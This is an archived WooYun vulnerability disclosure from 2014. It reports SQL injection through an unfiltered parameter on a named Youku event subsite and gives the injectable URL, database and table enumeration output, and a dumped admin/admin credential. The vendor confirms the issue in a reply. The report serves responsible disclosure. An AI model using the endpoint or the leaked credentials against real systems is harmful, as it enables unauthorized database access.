[公开漏洞]优酷网分站继续sql注射

优酷网分站继续sql注射 相关厂商： 优酷 漏洞作者：卡卡 提交时间：2014-05-27 08:11 公开时间：2014-07-11 08:11 漏洞类型：SQL注射漏洞 危害等级：高 自评Rank：20 漏洞状态： 厂商已经确认 漏洞来源：http://www.wooyun.org Tags标签： 无 漏洞详情 披露状态：

2014-05-27：细节已通知厂商并且等待厂商处理中
2014-05-27：厂商已经确认，细节仅向厂商公开
2014-06-06：细节向核心白帽子及相关领域专家公开
2014-06-16：细节向普通白帽子公开
2014-06-26：细节向实习白帽子公开
2014-07-11：细节向公众公开

简要描述：

和高中同学聚会。蛮嗨皮的，饭后有人提议去k歌，但我高中前女友说他不想去了累。要去酒店休息，让我送她。尼玛的，我要k歌啊，于是，我打车把她送到酒店门口，我也没有下车，接着就回k歌的地方了，我心想，没有比同学聚会k歌喝酒开心的事情了。还好我机智，不然又耽误我K歌了~

详细说明：

注射链接：

http://event.youku.com/siemens-home/openthekitchen2013/save.php?action=pclist&foodType=7&page=0

由于对参数foodType未过滤造成sql注射

库：

available databases [3]:

[*] information_schema

[*] sh_siemens

[*] test

当前库：sh_siemens



表：

Database: sh_siemens

[13 tables]

+----------------------+

| siemens_bz_admininfo |

| siemens_bz_preach    |

| siemens_bz_question  |

| siemens_bz_userinfo  |

| siemens_bz_video     |

| siemens_bz_video_log |

| siemens_cf_admininfo |

| siemens_cf_config    |

| siemens_cf_food      |

| siemens_cf_like_log  |

| siemens_cf_qa        |

| siemens_cf_userinfo  |

| siemens_cf_video     |

+----------------------+

管理密码

Database: sh_siemens

Table: siemens_cf_admininfo

[1 entry]

+----------+-----------+

| adminpwd | adminname |

+----------+-----------+

| admin    | admin     |

+----------+-----------+

竟然还是弱口令



没什么好说的



赶快修复吧

漏洞证明：

http://event.youku.com/siemens-home/openthekitchen2013/save.php?action=pclist&foodType=7&page=0

由于对参数foodType未过滤造成sql注射

库：

available databases [3]:

[*] information_schema

[*] sh_siemens

[*] test

当前库：sh_siemens



表：

Database: sh_siemens

[13 tables]

+----------------------+

| siemens_bz_admininfo |

| siemens_bz_preach    |

| siemens_bz_question  |

| siemens_bz_userinfo  |

| siemens_bz_video     |

| siemens_bz_video_log |

| siemens_cf_admininfo |

| siemens_cf_config    |

| siemens_cf_food      |

| siemens_cf_like_log  |

| siemens_cf_qa        |

| siemens_cf_userinfo  |

| siemens_cf_video     |

+----------------------+

管理密码

Database: sh_siemens

Table: siemens_cf_admininfo

[1 entry]

+----------+-----------+

| adminpwd | adminname |

+----------+-----------+

| admin    | admin     |

+----------+-----------+

修复方案：

你们懂的

版权声明：转载请注明来源 卡卡@乌云

漏洞回应 厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-05-27 09:21

厂商回复：

多谢提醒，马上修复。

最新状态：

暂无